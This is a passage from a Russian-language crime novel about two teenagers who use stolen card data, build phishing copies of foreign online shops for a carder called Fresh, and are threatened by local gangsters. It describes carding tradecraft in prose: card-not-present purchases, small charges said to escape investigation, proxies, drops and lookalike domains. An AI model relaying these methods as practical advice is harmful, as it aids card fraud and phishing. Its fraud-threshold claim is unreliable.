со  стороны отчима. Кроме того, хорошо зная последнего, он опасался, что
надолго компьютер в родных стенах не задержится.

Идея пустить найденную информацию в дело не давала друзьям покоя вот
уже несколько недель, но, прежде чем переходить от  размышлений к  дей‐
ствиям, рассудительный Санчо предложил хорошенько изучить теоретичес‐
кую сторону вопроса. Парни нырнули в  глубины тематических форумов,
которых в сети нашлось предостаточно, и принялись прыгать с ветки на ветку,
точно шимпанзе в  поисках спелых и  самых сочных фруктов. Именно здесь
Киря впервые наткнулся на звучное и манящее слово «кардинг».

По всему выходило, что для  их целей лучше всего подходят операции
из  разряда «Card not present»: так назывались транзакции по  карте, выпол‐
няемые без ее физического присутствия. Чаще всего этот способ предлагали
интернет‑магазины, продававшие товары по почте, — некоторые из них тре‐
бовали ввести для подтверждения оплаты указанный на карточке трехзначный
верификационный код, каковых в  добытой парнями экселевской таблице
не  обнаружилось. Отдельные магазины дополнительно запрашивали циф‐
ровой пароль из отправленного на мобильник SMS-сообщения, но таких пока
еще насчитывалось немного. На форумах Кирилл отыскал список зарубежных
сайтов, допускавших оплату по основным реквизитам карты — номеру, дате
срока действия и  имени владельца. Он проверил их все: часть ссылок уже
не работала, на других ресурсах успели поменяться правила, третьи не при‐
нимали карты российских банков. Но с полусотней интернет‑адресов шансы
еще  оставались. В  основном там продавали что‑то недорогое: виртуальные
подарочные сертификаты, которыми можно было оплачивать сервисы вроде
компьютерных игр, мелкий спортивный инвентарь, косметику и  бижутерию.
В одном интернет‑магазине Киря нашел даже неплохие на вид беговые крос‐
совки. Изучая выложенную в сети информацию, он заодно узнал, что тратить
с  чужих карт суммы, эквивалентные примерно девяти долларам, можно
без  особого риска. Расследования мошенничества стоят недешево, и  аме‐
риканские компании начинали их, только если сумма ущерба превышала
десять баксов. В остальных случаях продавцы чаще всего возвращали потер‐
певшему снятые с  карты деньги и  тихо списывали убытки. От  этой мысли
на душе у Кири сделалось немного легче и чуть светлее.

Чтобы не раскрывать свой настоящий российский IP-адрес, Кирилл пред‐
ложил использовать бесплатные прокси‑серверы, перечень которых тоже
отыскал в сети, — и эту идею его партнер воспринял на ура. Вот уж и вправду:
что может быть лучше чужого компьютера, который прячется между тобой
и всем остальным миром, скрывая твою цифровую сущность от любопытных
глаз? Сидишь себе спокойно в  теплой уютной норе, а  прокси‑сервер нес‐
лышно делает свою работу: маскирует твой IP, гоняет пакеты данных через
несколько континентов, словно ты путешественник‑авантюрист, который
умудрился обогнуть половину земного шара, не оставив при этом ни следа.

Отдельная проблема  — придумать годный способ получения заказанных
на чужие карты товаров. С подарочными сертификатами все выглядело пре‐
дельно просто: специальный код приходил на зарегистрированный парнями
анонимный адрес электронной почты. Собрав сотню таких кодов, они
собирались продать добычу за полцены на хакерских форумах. А вот с реаль‐
ными товарами дела обстояли чуть сложнее. На  свой настоящий адрес
или адреса знакомых ничего выписывать, разумеется, нельзя. Американские
жулики, гордо именовавшие себя «вещевыми кардерами», заказывали
товары на  реальные адреса держателей карт, а  потом встречали курьеров
с посылками на крыльце или терпеливо поджидали их возле подъезда. Иног‐
да они пользовались услугами «виртуальных офисов», предоставлявших всем
желающим адрес для  корреспонденции за  скромную плату. Очевидно, что
Кире с Санчо ни тот ни другой способ не подходил.

— Есть один чувак с  форума, Фреш его зовут,  — сказал однажды Саня,
когда друзья устроились на лавочке в парке, прихватив в ближайшем ларьке
по бутылке третьей «Балтики», и в очередной раз принялись обсуждать свои
дела. — Думаю, он может нам помочь.

— Он добрый самаритянин? — усмехнулся Киря, категорически не верив‐
ший в  безвозмездную помощь вообще, а  уж на  хакерских форумах  — тем
паче.

— Он дроповод, да и вообще опытный кардер. Мы пообщались немного,
вроде адекватный чел. Ну, мне так кажется, ему можно доверять.

Киря понимающе кивнул. Дропы — обычные пешки в чужой игре. Как пра‐
вило, они ни разу не общались вживую с  тем, кто дает им поручения в сети
и там же выплачивает гонорар. Работа дропа проста: забрать коробку на поч‐
те, снять деньги в  банкомате или  получить конверт с  наличкой, а  потом
отнести это  в условленное место. Страховкой от  попыток присвоить чужое
имущество становился банальный страх: дроп должен был прислать своему
куратору собственную фотографию с  паспортом, и  в случае чего ему обе‐
щали крупные неприятности. Некоторых особо непонятливых дропов даже
образцово‑показательно били другие такие же парни, нанятые в  интернете
за деньги.

Дропы не задумывались о происхождении предметов и сумм, которые им
следует доставить из точки А в точку Б. Американцы называют их «денежными
мулами», да и относятся к ним так же, как к расходному материалу: арестуют
одного, на  его место придет парочка других. На  подобную низкооплачива‐
емую работу подряжались в основном маргиналы, люди, имевшие серьезные
проблемы с алкоголем или веществами. Кто‑то делал это за деньги, кто‑то —
за долги, кто‑то — просто потому, что не видел другого выхода. Их задача —
быть теми, кто не задает лишних вопросов и не требует ответов.

Кирилл оказался совершенно прав в  своих предположениях. Фреш,
который подписывался на форуме замысловатым ником Fressshhh, пообещал
решить их проблемы с доставкой и реализацией хабара, но взамен попросил
помочь в его собственных проектах.

«Что делать‑то надо?»  — поинтересовался Киря, когда их общение
переместилось с кардерского форума в более удобную «аську».

«Копии импортных интернет‑магазинов,  — ответил Fressshhh.  — Ничего
сложного: заходишь на  оригинальный сайт, сохраняешь на  комп веб‑стра‐
ницы, немного переделываешь, и готово. Список я тебе дам».

Кирилл прекрасно понимал, зачем это  понадобилось новому знакомому.
Поддельный интернет‑магазин размещался на поддельном же домене, отли‐
чавшемся от настоящего одной или двумя буквами. На главной его странице
парни вроде Фреша вешали яркие рекламные баннеры  — «Распродажа!
Скидки! Акции!» — и фотографии самых ходовых товаров за полцены. Нажав
на  кнопку «Купить», жертва попадала на  страничку оформления заказа, где
оставляла все данные своей банковской карты, включая секретный защитный
код. А  потом перебрасывалась на  страницу с  ошибкой. Простите‑извините,
магазин сегодня перегружен, очень много покупателей стоит в  очереди
за дешевыми товарами, зайдите попозже. Реквизиты карточки при этом оста‐
вались у мошенников.

Посетителей на  поддельные сайты зазывали массовыми почтовыми рас‐
сылками. Этот прием именовался «фишингом», от английского слова «рыбал‐
ка»,  — письмо выглядело как  настоящее, все логотипы и  узнаваемый фир‐
менный стиль магазина оставались на  своих местах, даже почтовый адрес
отправителя не вызывал ни малейших подозрений, а вот ссылка вела в логово
кардеров. Люди падки до  халявы, а  многие, давно расставшись с  детством,
продолжают наивно верить в  чудеса, поэтому «рыбакам», как  правило, уда‐
валось собрать неплохой улов. Добытую информацию они продавали другим
хакерам, которые вычищали банковские счета жертв подчистую, или  поль‐
зовались собранной базой данных сами — с той же самой целью.

— Работать нужно по  Штатам и  Европе,  — учил Кирилла Fressshhh,  —
тамошние обыватели в ментовку с заявлениями не побегут. А у нас ведь как:
нет заявления — нет преступления. Короче, кто работает по .RU, к тому при‐
ходят поутру.

Киря долго не раздумывал: успех их совместной операции теперь целиком
и полностью зависел от благосклонности Фреша, к тому же тот был посвящен
почти во все детали их бурной деятельности, которые Саня раскрыл новому
знакомцу без особых колебаний. Так что выбора по большому счету не оста‐
валось.

А вскоре после того, как  Фреш подключился к  проекту, пошли первые
деньги.

— Глянь, бро!
Сияя как  начищенная монета, Санчо развернул веером пачку хрустящих

купюр и помахал ими перед носом Кирилла:
— Сами заработали, прикинь? Получилось же, ну? Круто?
Киря провел ладонью по волосам. Это и вправду было волнующе: он и сам

до конца не верил в то, что из этой затеи выйдет что‑то путное. Тем не менее
вот он, успех, пусть неожиданный, но  заслуженный. Его можно увидеть,
пощупать и даже потратить.

— Не думал выиграть в этой игре, — честно признался он.
— Мы сами и есть игра. Это они там живут по правилам, — Санчо кивнул

в сторону компа, в полудреме чертившего на экране яркие линии скринсей‐
вера, — а мы теперь умеем эти правила создавать. Слушай, может отметим?
Погнали в «Фантом»?

Пойти в  клуб? Звучит заманчиво. В  конце концов, они сделали то, о  чем
мечтали, когда сидели на  уроках в  школе, то, что обсуждали каждый вечер
по  телефону, то, что тщательно обдумывали, выискивая крохи полезной
информации в сети. Почему бы и не отметить победу?

— Пойдем, — согласился Киря. — Только домой сгоняю, переоденусь.
«Фантом» был одним из  двух ночных клубов Подгорска, менее дорогим,

пафосным и  престижным, чем «Корсар», в  силу чего сделался местом при‐
тяжения студентов городских техникумов, не  слишком денежных молодых
работяг и  жаждущей развлечений шпаны. Фейсконтроль там был условным:
внутрь пропускали всех, кто более‑менее уверенно держался на  ногах. Тех,
кто не держался, отправляли подышать свежим воздухом в соседний скверик,
а потом все равно пускали.

Помимо танцпола, в «Фантоме» имелся бар, где наливали пиво, коктейли
и крепкий алкоголь, но цены там, по мнению Кири, все‑таки кусались. Поэто‐
му перед  заходом в  клуб друзья приобрели в  ларьке пару фуфыриков
дешевой водки, как сказал Санчо, «для разогрева». Водку употребили в подъ‐
езде, запив колой и  зажевав «Сникерсом». Саня затарился в  дорогу пачкой
«Пэлл‑Мэлла» и  прозрачной пластиковой зажигалкой, а  Кирилл взял впрок
упаковку «Антиполицая», чтобы замаскировать перегар. Выпитое окутало
мозг теплым уютным одеялом, на душе сделалось легко и тепло, как в детс‐
тве. Что‑то подобное он ощущал, когда родители накрывали на  стол
перед  новогодним торжеством, а  в воздухе витал праздничный запах хвои
и  мандаринов. Отец, еще  живой, улыбался, а  мама в  цветастом переднике
выглядела по‑настоящему счастливой.

— Может, с  какими‑нибудь телочками замутим,  — мечтательно протянул
Санчо, затягиваясь сигаретой.

— Думаешь, в клубе есть шанс познакомиться с девушкой, если не повез‐
ло с внешностью? — скептически спросил Киря.

— Если девушке не  повезло с  внешностью, бро, с  ней можно поз‐
накомиться вообще где угодно,  — хохотнул Санчо.  — Ты у  нас, конечно,
не  Ален Делон… Я  бы даже сказал, Ален Ботан… Но  не стоит отчаиваться,
чувак, все необходимое в твоих руках. А то, что не в руках, попробуй поискать
в штанах.

В «Фантоме» сегодня было многолюдно. Клуб встретил Кирилла вибриру‐
ющим гулом басов, заставлявших каждой клеткой тела ощущать накатывав‐
шие волны музыки. Свет на танцполе вспыхивал и гас, выхватывал из темноты
похожие на куклы‑марионетки фигуры.

Санчо сразу же растворился в толпе, и Кирилл быстро потерял его из вида.
Протолкавшись к  бару, он взял коктейль с  водкой и  апельсиновым соком,
неторопливо выпил его, разглядывая посетителей. В этом хаосе света и звука
была разлита особая энергетика, и  она резонировала с  его собственными
чувствами. Кирилл вдруг подумал, что лично для него это не просто вечерин‐
ка, а символ свободы, которую он завоевал для себя сам. Больше не нужно
изворачиваться и придумывать, как добыть денег у матери, которых ей самой
вечно не  хватало. Теперь, если нужно, он способен заработать самос‐
тоятельно. Это была его ночь, его ритм, его мир.

Отставив в  сторону пустой бокал, Киря направился на  танцпол, влился
в  разгоряченную толпу, подхваченную пульсом музыки. Струи дыма, зак‐
ручиваясь в  сложные узоры, проплывали в  свете прожекторов и  бесследно
таяли в  воздухе. Он почувствовал, как  ритм звуковой волны окутывает его,
влечет за собой, словно океанский прибой. Время утратило смысл, звуки ста‐
ли громче, а свет — ярче.

Покрутившись в  танцующей толпе с  четверть часа, Киря немного устал
и  вернулся в  бар, где обнаружил Саню в  компании двух незнакомых
девушек  — яркой блондинки с  густо накрашенными бровями и  рыженькой
милашки в мини‑юбке, чьи вьющиеся волосы падали на тонкие обнаженные
плечи.

— О, а вот и он, мой друган, ну, про которого я говорил! — с трудом перек‐
рикивая музыку, провозгласил Санёк.  — Ты куда пропал, чувак? Знакомься:
Света, Аня… Студентки… Из швейного техникума…

Санчо был уже изрядно пьян, язык у  него ворочался с  трудом, движения
сделались размашистыми и  неуверенными, зато гонору, похоже, прибави‐
лось стократ. Киря подумал, что в  таком состоянии друга будто  бы под‐
менили: обычно спокойный и  рассудительный, теперь за  столиком сидел
совершенно другой человек  — болтливый, вальяжный и  развязный.
Перед  Кириллом появился стакан с  чем‑то ледяным и  ярким, словно све‐
тящийся неон. Он поднял его к  губам, почувствовав холод, смешанный
с  горечью алкоголя. Рыженькая Аня придвинулась поближе: Кирилл вдохнул
ванильный запах ее волос, ощутил тепло бедра, обтянутого телесного цвета
колготками. Взгляд, скользнув по  спине, цепко ухватил тонкую лямку бюс‐
тгальтера под полупрозрачной кофточкой…

— Короче, девчонки, прикиньте, это  вот с  ним мы ту историю провер‐
нули!  — захлебываясь от  собственной крутости, вдохновенно вещал Сан‐
чо. — Вперлись в тот офис, как к себе домой, никто даже не рыпнулся. Киря
дискету в дисковод сунул, и там такое началось! Типа вирусы‑фигирусы кру‐
гом, всё, атас, сейчас файлы сгорят на хрен вместе с винтом и клавой! Киря
у  нас, кстати, крутой программист и  хакер, у  него башка, как  Британская
энциклопедия. Вы не смотрите, что ботан ботаном…

Кирилл поморщился: очень зря Саня начал рассказывать на  публику всю
эту историю. Он глянул под стол — не наступить ли посильнее другу на ногу —
но  увидел там лишь стройные ножки Ани в  изящных черных туфельках. Да  и
не остановить Саню уже, вон как разошелся…

— В общем, они там все шуганулись, пипец. Надо было действовать сра‐
зу, пока не очухались. Ну, я взял системник, а Киря, прикиньте, монитор схва‐
тил. Монитор, блин! И  бежать! Он же тяжеленный, шнур болтается, Кирюн
тащит его, пыхтит, из  ушей уже пар валит, ща, думаю, у  него пониже спины
еще одна чакра откроется…

— Мальчики, извините, я ненадолго, — поднялась на ноги блондинка Све‐
та. Бросила быстрый взгляд на свою спутницу, поправила юбку и уверенной
походкой профессиональной модели двинулась в  сторону уборной. Однако
на полпути отчего‑то передумала, сменила траекторию и зашагала к выходу
из клуба.

Очутившись на  улице, Света отошла на  несколько шагов от  крыльца, возле
которого о чем‑то галдела пьяненькая молодежь, достала из сумочки тонкую
сигарету, щелкнула зажигалкой. Сделав глубокую затяжку, извлекла оттуда же
изящный кнопочный «Сименс», набрала номер и прижала телефон к уху.

— Привет, братик,  — сказала она.  — Дома? Ага, хорошо. Слушай, я,
кажется, знаю, кто украл у вас тот комп…
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— Хочешь мороженого?
Аня зябко поежилась, и Кирилл подумал, что предложение и впрямь проз‐

вучало совсем по‑дурацки: осень уже подарила городу последние теплые дни
перед  зимней спячкой, и  теперь пустынная аллея парка дышала желтой
и  оранжевой прохладой. Ларек с  мороженым остался позади. Киря искоса
глянул на спутницу: сейчас она выглядела намного привлекательнее, чем тог‐
да, в клубе: короткое бежевое пальто только подчеркивало стройные ножки,
а  рыжие волосы, завитые упругими кольцами, отливали на  солнце медью.
Девушка думала о  чем‑то своем, неловкое молчание затягивалось: учебу
и  преподавателей швейно‑дизайнерского техникума они уже обсудили,
а софт и игрушки ей были глубоко безразличны.

— Я знаю одно кафе тут рядом, там отличные пончики,  — предпринял
новую попытку Кирилл и  тут же одернул себя: ну какие, к  лешему, пончики?
У нее, небось, диета и фигура. Все девчонки помешаны на этом.

Аня задрала подбородок и зажмурилась, подставляя лицо холодным сол‐
нечным лучам, тряхнула медными кудрями. Ее взгляд на мгновение зацепился
за  облака, лениво ползущие над  деревьями, и  вдруг девушка как‑то резко
остановилась.

— Знаешь, я, наверное, пойду, — сказала она. — Провожать не надо.
— Что‑то случилось?
— Да  все уже случилось,  — Аня снова зябко поежилась.  — Ты клевый

парень, но… В общем, мне пора.
— Погоди,  — Кирилл поймал ее за  рукав, подумав мимоходом, что

это движение могло показаться ей слишком грубым. — Объясни.
Девушка обреченно вздохнула, но все‑таки остановилась.
— Что тебе объяснить?  — голос ее сделался звенящим, как  далекий

колокольчик на холодном ветру. — Мы слишком разные. Ты же живешь в сво‐
их компьютерах, про которые все время говоришь. Я живу в другом мире, где
есть люди, музыка, тусовки… Короче, где есть что‑то еще, кроме компов.
Это параллельные миры, и они, как параллельные прямые, не пересекаются.

— Ты это серьезно? — спросил он. — Это из‑за компьютеров?
— Да  не только. В  компах нет ничего плохого. Это  твоя страсть, твоя

жизнь, но кроме этого в тебе нет… чего‑то еще. Понимаешь, девушкам нуж‐
но… В общем, не важно, проехали. Дело совсем не в тебе. Прости.

Аня мягко освободила руку и  зашагала вперед. Ветер слегка всколыхнул ее
волосы, несколько золотистых листьев упали на  дорожку у  ног Кирилла. Он
хотел что‑то сказать, но  мысли запутались в  голове, словно строки кода,
никак не желавшие собираться в стройную программу. Она уходила, а с ним
остался осенний парк, бесконечная аллея и  тишина, которой уже не  нужны
были никакие слова.

***

В родном подъезде пахло кошками и  кислыми щами  — кто‑то из  соседей
готовил. Кирилл нащупал ключ в кармане, подсветил себе зажигалкой, встав‐
ляя его в замок: и без того тусклую лампочку на лестничной площадке кто‑то
разбил. Только  бы матери с  отчимом не  оказалось дома: ему совсем
не хотелось сейчас ни с кем разговаривать.

Но мама ждала в  коридоре, вытирая руки о  передник,  — видимо, вышла
из кухни на звук ключа в замке. Выглядела она непривычно мрачной и встре‐
воженной.

— Киря, где ты был? С тобой все в порядке? Что‑то случилось?
— Да все нормально, ма, — откликнулся Кирилл, скинув один кроссовок,

и принялся стягивать другой, наступив на пятку носком.
— Ничего не нормально! Расскажи мне, что произошло. Ты какой‑то сам

не свой.
— Ну, с  девушкой поссорился,  — покривил душой Кирилл, подумав, что

Аня, в общем‑то, так и не успела стать его девушкой. Впрочем, для отмазки
сгодится и эта версия. С девчонками вообще как‑то не ладилось: знакомить‐
ся он толком не умел, а если и получалось, то дальше пары встреч общение
не  заходило  — он просто не  знал, о  чем с  ними разговаривать, чтобы тема
была хоть отчасти интересна обоим. Может, в следующий раз, когда окажется
за компом, и вправду заполнить анкету на каком‑нибудь «омене»?.. При мыс‐
ли об  этом настроение окончательно испортилось: домой машину не  при‐
тащить, а  постоянно зависать в  берлоге у  Санчо неудобно, его предки уже
косо смотрят.

Кирилл шагнул в  свою комнату и  хотел было прикрыть за  собой дверь,
но мама вошла следом, села на краешек дивана.

— Подожди, давай поговорим. Что с тобой происходит?
— Ничего, — пожал плечами Киря. — С чего ты вообще взяла, будто что‑то

не так?
— Приходили эти люди,  — чуть понизив голос, холодно сказала мать,  —

знакомые отца. Искали тебя, спрашивали про компьютер.
От неожиданности Кирилл даже пропустил мимо ушей тот факт, что мама

в  очередной раз назвала отчима «отцом», от  чего его всякий раз коробило.
Значит, искали. Притом те, кто искал, в  курсе про  комп и, следовательно,
могут добраться до  Санчо. Лампочка на  лестничной клетке разбита, видно,
тоже неспроста. Мозг начал лихорадочно прокручивать варианты, как  про‐
цессор, выведенный на  турборежим. Откуда у  них информация? Кто слил?
И  главное, что именно они знают? Сообщат ли ментам? Нет, вряд ли, эти
будут решать вопрос самостоятельно…

— Кирюша, родной, я очень волнуюсь, — тон матери сменился на жалоб‐
но‑просительный.  — Ну расскажи пожалуйста, что творится? Я ничего
не понимаю…

— Все нормально, мам,  — Кирилл поднялся на  ноги,  — я во  всем раз‐
берусь, не волнуйся.

— Дай‑ка я с ним поговорю, — в дверях возник полупьяный отчим и нет‐
вердой походкой зашел в комнату.

— Юра, не  надо…  — попыталась возразить мать, но  тот лишь брезгливо
бросил через плечо:

— Заткнись. Ты чего мать доводишь, сученыш? Она тут извелась вся.
Хочешь, чтоб ее инфаркт хватил?

— Кто бы говорил, — огрызнулся вполголоса Киря.
— Повтори, че ты там вякнул, тварь? Давно на скорой не катался?
— Юра, перестань… — снова вступилась мама, попыталась встать между

Кириллом и отчимом, но тот грубо толкнул ее обратно на диван.
— Заткнись, я сказал. Ты чего там намутил такого, паскуда? А? Тебя спра‐

шиваю! Язык из задницы достань и отвечай. Что ты, блин, сотворил, что люди
к нам домой приходят и за тебя спрашивают?

— Не твое собачье дело, — ответил Кирилл уже увереннее.
Отчим на  мгновение завис, и  Киря почти отчетливо услышал, как  в его

голове щелкают и переключаются шестеренки, переваривая услышанное. Вот
этот вот сопляк, который всегда ссытся, стоит на него погромче прикрикнуть,
посмел по‑хамски ответить главе семейства?

Да и  плевать, в  конце концов. Этот «глава» бесконечно тиранит и  оскор‐
бляет мать, его самого вообще ни  в грош не  ставит. Сколько раз мама
каталась с  ним в  травму после таких вот воспитательных мероприятий?
Что‑то лепетала, оправдываясь, про «играл с ребятами, упал на детской пло‐
щадке», чтобы врач не подумал сообщить куда надо… Надоело.

— Ну щас, мля, ты огребешь, — вышел из комы отчим. — Напросился, пад‐
ла…

— Юра!..
Все произошло за какие‑то доли секунды — словно невидимый монтажер

вырезал кусок кинопленки, оставив лишь несколько резких, контрастных кад‐
ров, отчетливо врезавшихся в  память. Вот отчим отлепляется от  дверного
косяка и  выбрасывает руку вперед, чтобы схватить Кирилла за  волосы. Вот
вместо того, чтобы, как обычно, в ужасе отшатнуться и спрятаться за диван,
тот шагает навстречу. Размах, резкий удар ногой в пах. Гол! Сам Рональдиньо
позавидовал бы такому удару. Отчим сгибается пополам, словно марионетка
с  перерезанными нитями. Еще  один удар раскрытой ладонью в  лицо, кожа
чувствует колкое прикосновение небритой щетины.

Следующий кадр — уже на улице, Киря бежит по бульвару, сжимая в руках
наспех сорванную с гвоздя куртку. Телефонная будка. Пошарив по карманам,
он выудил из джинсов таксофонную карту. Черт, пора уже мобильником обза‐
вестись, бабла теперь, наверное, хватит. Путаясь, Кирилл набрал давно зна‐
комый номер. Ну же! Давай! В трубке щелкнуло после пятого гудка.

— Да? — раздался на том конце сонный голос Санчо.
— Никуда не  выходи, сиди дома, я сейчас приду. Дело серьезное. Все,

давай.
Киря повесил тяжелую трубку на рычаг и только сейчас заметил, что стоит

на холодном асфальте в одних носках.

К привычной «панельке» он шел, нервно оглядываясь и  озираясь по  сто‐
ронам, но его никто не окликнул. Ни возле дома, ни во дворе он не заметил
подозрительных людей или  машин, и, лишь подойдя к  подъезду, он почувс‐
твовал, что от сердца слегка отлегло. Код на дверях, грязная, давно не мытая
лестница, второй этаж. Сегодня Саня смотрел в  глазок чуть дольше обыч‐
ного, прежде чем загреметь засовами.

— Ты чего босяком? — оторопело спросил он.
— Потом расскажу. Попить дай.
Кирилл юркнул в  комнату, кивнув выглянувшей из‑за двери Сашиной

матери. Бросил куртку в  угол, принял протянутую ему кружку с  кипяченой
водой.

— По  ходу, спалились мы, Сань,  — сказал он, чуть отдышавшись.  —
Не знаю как, но дело дрянь.

Выслушав его сбивчивый рассказ, Санчо задумчиво почесал подбородок,
а потом уселся в свое офисное кресло и принялся неторопливо вращаться,
словно готовящийся к полету космонавт.

— Что делать будем? — прервал молчание Киря.
— Ничего.
— В каком смысле?
— Да  в прямом,  — меланхолично отозвался его друг.  — Ну сам посуди.

К тебе они приходили, ничего не нашли. Ко мне тоже могут завалиться, но я
им не  открою, своих предупрежу. Комп попрошу отца на  дачу отвезти. Мы
с тобой ничего не видели, ничего не знаем. Что они нам сделают?

— Прибьют нахрен или покалечат.
— Из‑за сраного компа? Не  смеши. Не  будет никто из‑за такой фигни

заморачиваться. А  насчет бати твоего… Перекантуйся пока у  меня, мать
на  кухне постелет. Ты подумай лучше, как  проект Фреша побыстрей закон‐
чить, вот кого обижать совсем не хочется.

С задачей, которую поставил им Фреш, Кирилл справился меньше чем
за неделю. Там действительно не оказалось ничего сложного: он скопировал
и  чуть подправил страницы нескольких американских интернет‑магазинов,
запаковал файлы в архив и переслал его Фрешу. Размещением поддельных
сайтов в  интернете тот поначалу занимался сам, но  вместе со  следующим
заказом скинул Кириллу данные FTP-сервера, попросив залить туда всё
самостоятельно. Работа стала рутиной, от  которой Киря спасался в  чатах,
просиживая в  них вечерами за  Саниным компьютером. Дома он старался
не  показываться: забежал туда пару раз, когда в  квартире точно никого
не  было, чтобы забрать учебники и  немного одежды. Школу тоже посещал
через раз. От  скуки Киря даже переделал и  усовершенствовал фрешевский
скрипт, собиравший данные банковских карт в текстовый файлик, за что удос‐
тоился от того щедрой похвалы.

Работа над  скриптом затянула Кирилла не  хуже тактических сражений
в  его любимой игре. Он чувствовал, что пишет не  просто привычный набор
команд, а  нечто большее. Само собой пришло понимание, что он видит
на каком‑то подсознательном уровне все недостатки программы, ее слабые
места, внутреннюю логику и знает, как сделать ее лучше, быстрее, надежнее.
Странное, непривычное и пьянящее чувство.

Удивительно, но  в дни, прошедшие с  того памятного визита домой, и  на
протяжении всей следующей недели их никто не  побеспокоил. Поначалу
Кирилл продолжал тревожно оглядываться на улице, но потом расслабился:
видно, рассудительный Санчо оказался прав и бывшие владельцы компьюте‐
ра все‑таки решили оставить их в покое.

А потом Фреш прислал гонорар за проделанную работу.
— Мы снова богаты!  — искренне радовался Санчо, пересчитывая хрус‐

тящие купюры. — Как насчет отметить это прекрасное событие?
— Опять в клуб? — с кислой миной поинтересовался Кирилл, который уже

потратил значительную часть своих денег на  давно желанный телефон
«Эриксcон» и теперь решил перейти в режим умеренной экономии.

— На фиг клуб, есть идея получше, — решил Санчо. — Мы пойдем в рес‐
торан!

Оценив недовольное выражение на  лице друга, он ткнул Кирю кулаком
в бок и добавил:

— Расслабься, чувак, я угощаю!

В ресторане Кирилл ужинал впервые в  жизни и  потому немного стеснялся
своих потертых джинсов и свитера, в то время как Саня напялил модный зам‐
шевый пиджак, заранее припасенный для  выпускного. Улица за  окнами уже
погрузилась в  вечерний сумрак, неоновые вывески отражались на  мокром
асфальте, будто на гладкой поверхности воды. Наверное, там слышался нег‐
ромкий шум города, но  здесь, внутри, льющаяся откуда‑то тихая фортепь‐
янная мелодия нарушалась лишь мелодичным звоном столовых приборов
о фарфор — посетителей сегодня было много.

Миловидная официантка, едва заметно кивнув, провела их к  свободному
столику у  окна. Киря украдкой оглядывался по  сторонам. Тусклый, приятный
свет из  ламп на  длинных шнурах, высокие потолки, абстрактные, похожие
на  мазню сумасшедшего художника картины по  стенам. Он осторожно сел
на  стул, как  на важном экзамене, Санчо бросил на  друга успокаивающий
взгляд и вальяжно откинулся на спинку.

— Расслабься, чувак. — Саня взял меню, но смотрел не на его страницы, а на
своего спутника: похоже, ему нравилось, что Кирилл чувствует себя здесь
немного потерянным. Чтобы занять руки, тот тоже раскрыл тяжелую колен‐
коровую папку. «Конфи», «суфле», «гратен». Как будто кто‑то решил провести
внеплановый урок по иностранному языку.

— Ты вообще знаешь, что это  за еда?  — пробормотал он, не  отрывая
взгляда от меню.

— Нет. Но  это неважно. Главное, что теперь мы можем себе это  поз‐
волить, — ухмыльнулся Санчо.

Подошла официантка, и Саня, едва взглянув в список блюд, заказал что‑то
с  названиями, которые Кирилл даже не  попытался запомнить, просто поп‐
росил принести то же самое. Когда девушка удалилась, Санчо снова пос‐
мотрел на своего друга, на этот раз серьезно.

— Знаешь, в чем прикол? Мы думали, что успех — это доступ. Обмануть
систему, обойти защиту, слить деньги с карточек. Но на самом деле…

Саня взял свой бокал с водой, крутанул его в руке.
— Настоящий доступ — это сюда. Когда ты можешь просто сесть за сто‐

лик, заказать всё, что хочешь, и знать, что ты это заслужил.
На столе появились аккуратно завернутые в  салфетку приборы, запотев‐

ший графин с чем‑то прозрачным, тарелки с салатом и холодными закусками.
Кирилл едва успел подцепить вилкой самый аппетитный кусок буженины,
как кто‑то невидимый будто включил у него в голове сигнал тревоги. Он огля‐
делся.

В ресторан вошли трое, выглядевшие на  фоне окружающей обстановки
будто пришельцы из  другого мира: кожаные куртки, короткие стрижки,
тяжелая неторопливая походка вразвалочку. Один остался у дверей, другой,
окинув зал цепким взглядом, прямиком направился к их столику, третий пос‐
ледовал за  ним. Незваный гость придвинул ногой свободный стул и  уселся
между Кириллом и Саней, второй остался стоять чуть позади. Киря мельком
заметил массивную золотую цепь на  его шее и  усмехнулся про  себя: ну
типичный бандос, будто только что сошел с картинки в газете «Мир кримина‐
ла».

— Здорово, молодежь, — произнес коренастый, разглядывая их с явным
интересом. — Чего празднуете?

— Отмечаем, — мягко поправил его Саня, — пятерку по математике.
Кирилл отметил, что внешне Санчо совершенно спокоен, но в то же время

чувствовалось, как он напрягся, словно ожидая удара.
— Отличники, мля, — коренастый взял со стола вилку, повертел ее в руке

и бросил обратно на скатерть. — Мне тут птичка на хвосте принесла, что вы
прихватили кое‑что чужое. Костя Батон, слышали, небось, про такого, очень
этим недоволен.

Кирилл невольно вздрогнул: Батон считался местным уголовным авто‐
ритетом, под которым ходили те самые бригады, державшие рынок. Про него
рассказывали всякое, и, даже если большая часть этих рассказов была пре‐
увеличена, оставшейся вполне хватило, чтобы понять: с Костей лучше не свя‐
зываться.

— Не знаю, о чем вы, — с деланым равнодушием пожал плечами Саня, —
что вообще происходит, мужики? Мы просто сидим, отдыхаем. В  чем проб‐
лема?

Коренастый усмехнулся.
— Проблема в том, братан, что компьютер, который вы свистнули, не ваш.
Он наклонился вперед, его взгляд сделался тяжелее:
— И за это ответить придется, парень. Хозяева компа хотят порешать этот

вопрос. Добазаримся — разойдемся бортами.
Кирилл почувствовал, как его сердце забилось быстрее. Он бросил быс‐

трый взгляд на своего друга, и этот взгляд был красноречивее слов: влипли!
Второй тип, тот, что маячил за  спиной Санчо, пододвинулся на  шаг ближе,
заставив его слегка отстраниться.

— Короче, мальки,  — коренастый говорил тихо, но  его слова звучали
словно удары о боксерскую грушу, — нам нужен наш комп. И бабки за бес‐
покойство. Готовьте штукарь баксов, иначе будет беда.

Коренастый поднялся, с грохотом отодвинув стул.
— Хорошего вечера, пацаны. Даем три недели, чтобы решить вопрос,

потом включится счетчик.
Кирилл смотрел, как незваные гости уходят, его разум лихорадочно искал

варианты выхода. Штука баксов  — серьезная сумма, за  отпущенное время
столько не  заработать. Про  кражу денег с  карт, номера которых они нашли
на компе, бандиты, похоже, еще не знают. Но рано или поздно узнают. И вот
тогда…

— Что будем делать?  — Киря наконец‑то выдохнул, переведя взгляд
на Санчо.

— Думаю, есть горячее, его сейчас принесут, — тряхнув головой, словно
отгоняя неприятное видение, ответил тот.  — А  с этим… Решим позже. Есть
одна мысль.
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«Ну вы, парни, отожгли, конечно :)))))»
Судя по количеству скобочек в смайлике, Фреша от души повеселила рас‐

сказанная ребятами история, а  вот Кириллу было почему‑то не  до смеха.
Не то чтобы он боялся бандитов — еще в начале девяностых Подгорск заво‐
евал имидж города криминального и  с тех самых пор гордо нес это  звание
через года. Тюремно‑блатной романтикой были пропитаны буквально все
